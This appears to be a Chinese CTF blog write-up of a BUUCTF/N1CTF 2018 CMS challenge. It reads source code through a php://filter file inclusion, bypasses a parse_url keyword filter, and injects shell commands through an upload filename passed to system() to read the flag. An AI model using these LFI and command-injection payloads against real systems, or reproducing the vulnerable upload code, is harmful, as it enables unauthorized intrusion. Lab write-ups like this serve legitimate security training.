一个cms,先打开环境
![](https://i-blog.csdnimg.cn/blog_migrate/c381583067dbbe3bb8c4e299b270a0dc.png)
试了一下弱口令,无效,再试一下万能密码,告诉我有waf,先不想怎么绕过,直接开扫(信息收集)
![](https://i-blog.csdnimg.cn/blog_migrate/fed8f6e23004dab7296b1ec98197f138.png)
访问register.php注册一个账号进行登录
![](https://i-blog.csdnimg.cn/blog_migrate/4f3872515f720b42137891297c26aa2f.png)
![](https://i-blog.csdnimg.cn/blog_migrate/366ee6db796bf422780f218e5e22f037.png)
上面的链接尝试用php读文件
![](https://i-blog.csdnimg.cn/blog_migrate/99a50ed9e852fa191b6846a26da6d41d.png)
http://575579bc-af3b-4fa5-b93d-9062dfb85a31.node4.buuoj.cn:81/user.php?page=php://filter/convert.base64-encode/resource=index
index.php
<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
Header("Location: user.php?page=info");
}
else{
include "templates/index.html";
}
?>
register.php
<?php
require_once "function.php";
if($_POST['action'] === 'register'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = register($user,$pass);
if($res){
Header("Location: index.php");
}else{
$errmsg = "Username has been registered!";
}
}
else{
Header("Location: error_parameter.php");
}
}
if (!$_SESSION['login']) {
include "templates/register.html";
} else {
Header("Location : user.php?page=info");
}
?>
function.php
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}
function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}
function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}
function logout()
{
session_destroy();
Header("Location: index.php");
}
?>
config.php
<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
echo "no sql connection".mysqli_connect_error();
$mysqli=null;
die();
}
?>
hacker.php
<?php
include("templates/hacker.html");
?>
user.php
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");
}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>
login.php
<?php
require_once "function.php";
if($_POST['action'] === 'login'){
if (isset($_POST['username']) and isset($_POST['password'])){
$user = $_POST['username'];
$pass = $_POST['password'];
$res = login($user,$pass);
if(!$res){
Header("Location: index.php");
}else{
Header("Location: user.php?page=info");
}
}
else{
Header("Location: error_parameter.php");
}
}else if($_REQUEST['action'] === 'logout'){
logout();
}else{
Header("Location: error_parameter.php");
}
?>
error_parameter.php
<?php
include("templates/hacker2.html");
?>
到此为止,把能读的源码全读了,开始代码分析
![](https://i-blog.csdnimg.cn/blog_migrate/8e2fc10b2e8d4529109e7613542ce47e.png)
看到有parse_url函数,可能存在漏洞
![](https://i-blog.csdnimg.cn/blog_migrate/3fe9eb7a2ca135984296c96d3c46c30d.png)
利用该漏洞的payload
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>
继续读取m4aaannngggeee(后续有用)
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";
?>
访问
http://xxxd1.no.buoj.cn:81/templates/upload.html
![](https://i-blog.csdnimg.cn/blog_migrate/5821e178a766d4168291cc37c77ddb9e.png)
发现一个上传界面,随机上传一个文件,显示错误,看到upllloadddd,读它源码
![](https://i-blog.csdnimg.cn/blog_migrate/47d7cb926cce4166903c137fddcfa461.png)
upllloadddd.php(该界面访问报错,不是真正的上传界面)
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>
m4aaannngggeee(上面代码可以看出是上传界面)
http://xxx.nod4.bj.cn:81/user.php?page=m4aaannngggeee
![](https://i-blog.csdnimg.cn/blog_migrate/7d87a30b53c5875a3271fba5d7bfa6f6.png)
然而这个上传界面没啥用,上传上去的代码被base64编码,无法解析
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename."
可以看到这一行有一个system函数,我们可以对filename传参利用
打开bp抓包,对filename进行操作
payload为
;l's'
![](https://i-blog.csdnimg.cn/blog_migrate/977c3de5a67bcac9660cc0fc55a25263.png)
发现传回的值明显多于原图片内容base64后的结果
解码查看内容
![](https://i-blog.csdnimg.cn/blog_migrate/900e76e9773f07b2cb6edd3d15c1da76.png)
发现此为命令执行后的结果,找寻flag,查看上级目录
payload
;cd ..;l's'
![](https://i-blog.csdnimg.cn/blog_migrate/b1225940a4ec401cbc513b3faacfdc97.png)
读取flag_233333
payload
;cd ..;cat flag_233333
![](https://i-blog.csdnimg.cn/blog_migrate/1abb39107a1a9b86bd7d8ac75dc141df.png)
![](https://i-blog.csdnimg.cn/blog_migrate/b8aa9862f52451995ba49653a22462c9.png)
找到flag值
flag{44794dcf-7ec4-4dd2-8f68-c6ad9219f0ef}